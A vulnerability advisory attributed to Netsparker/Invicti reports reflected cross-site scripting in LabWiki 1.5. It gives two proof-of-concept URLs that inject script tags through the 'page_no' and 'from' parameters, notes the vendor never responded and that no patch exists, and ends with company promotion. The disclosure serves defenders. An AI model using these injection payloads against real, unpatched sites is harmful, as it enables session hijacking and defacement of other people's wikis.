Information
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Advisory by Netsparker (now Invicti)
Name: XSS Vulnerabilities in LabWiki
Software: LabWiki 1.5 and possibly below.
Vendor Homepage: http://www.bioinformatics.org/phplabware/labwiki/index.php
Vulnerability Type: Cross-Site Scripting
Severity: Critical
Researcher: Canberk Bolat
Advisory Reference: NS-12-008

Description
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This wiki is powered by Qwiki Wiki, a minimalist PHP wiki engine originally developed by David Barrett, that uses plain text files to store data. The 'engine' is used to edit the data as well as to format it and present it as a web page. Significant modifications were done to the codes of this wiki for bugs and enhancements (XHTML compliance, UTF-8 encoding, backup maintainance, page deletion, etc.) by Santosh Patnaik (SP) who also largely seeded the wiki with new and old (non-wiki) documents.

Details
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LabWiki is affected by XSS vulnerabilities in version 1.5. Example PoC urls are as follows :

http://example.com/recentchanges.php?page_no='"--></style></script><script>alert(0x00039E)</script>&nothing=nothing
http://example.com/index.php?page=What_is_wiki&from='"--></style></script><script>alert(0x0001C7)</script>

You can read the full article about Cross-Site Scripting vulnerability from here :

Solution
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No patch released.

Advisory Timeline
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15/11/2011 - First contact: No response
01/01/2012 - Second contact: No response
22/08/2012 - Advisory Released

Credits
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It has been discovered on testing of Invicti Web Application Security Scanner.

References
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About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.